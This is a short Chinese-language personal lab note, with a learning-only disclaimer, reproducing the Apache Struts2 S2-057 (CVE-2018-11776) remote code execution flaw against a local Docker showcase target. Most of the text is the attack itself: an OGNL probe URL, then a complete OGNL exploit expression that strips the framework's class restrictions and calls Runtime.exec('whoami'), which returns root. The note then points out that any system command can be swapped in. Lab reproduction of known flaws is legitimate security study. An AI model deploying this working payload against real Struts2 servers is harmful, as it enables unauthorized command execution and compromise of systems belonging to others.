#免责声明:
本文属于个人笔记,仅用于学习,禁止使用于任何违法行为,任何违法行为与本人无关。
本文目录
CVE-2018-11776 s2-057 远程代码执行漏洞
CVE-2018-11776 s2-057 远程代码执行漏洞
本地环境搭建
- kali靶机
拉取镜像。
访问http://192.168.61.131:8080/struts2-showcase
出现以下页面访问证明成功。
漏洞复现
构造POC
http://192.168.1.159:8080/struts2-showcase/${(123+123)}/actionChain1.action
使用bp抓包,发送到重放器,发现123+123被执行246, 可以看到中间数字位置相加正确 , 说明我们中间的表达式正确的执行了 , 那么我们可以构建可以执行系统命令的表达式进行rce。
构造EXP
${(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).
(#ct=#request['struts.valueStack'].context).
(#cr=#ct['com.opensymphony.xwork2.ActionContext.container']).
(#ou=#cr.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).
(#ou.getExcludedPackageNames().clear()).(#ou.getExcludedClasses().clear()).
(#ct.setMemberAccess(#dm)).(#a=@java.lang.Runtime@getRuntime().exec('whoami')).
(@org.apache.commons.io.IOUtils@toString(#a.getInputStream()))}
放到bp的编码工具中将EXP进行URL编码。
复制URL编码过后的代码,放进重放器中请求数据包相应位置,点击发送,发现执行whoami并返回结果root。
通过更改.exec(' ')中的命令,实现其他系统命令执行。
docker-compose down
#关闭镜像
docker rmi 镜像ID
#删除镜像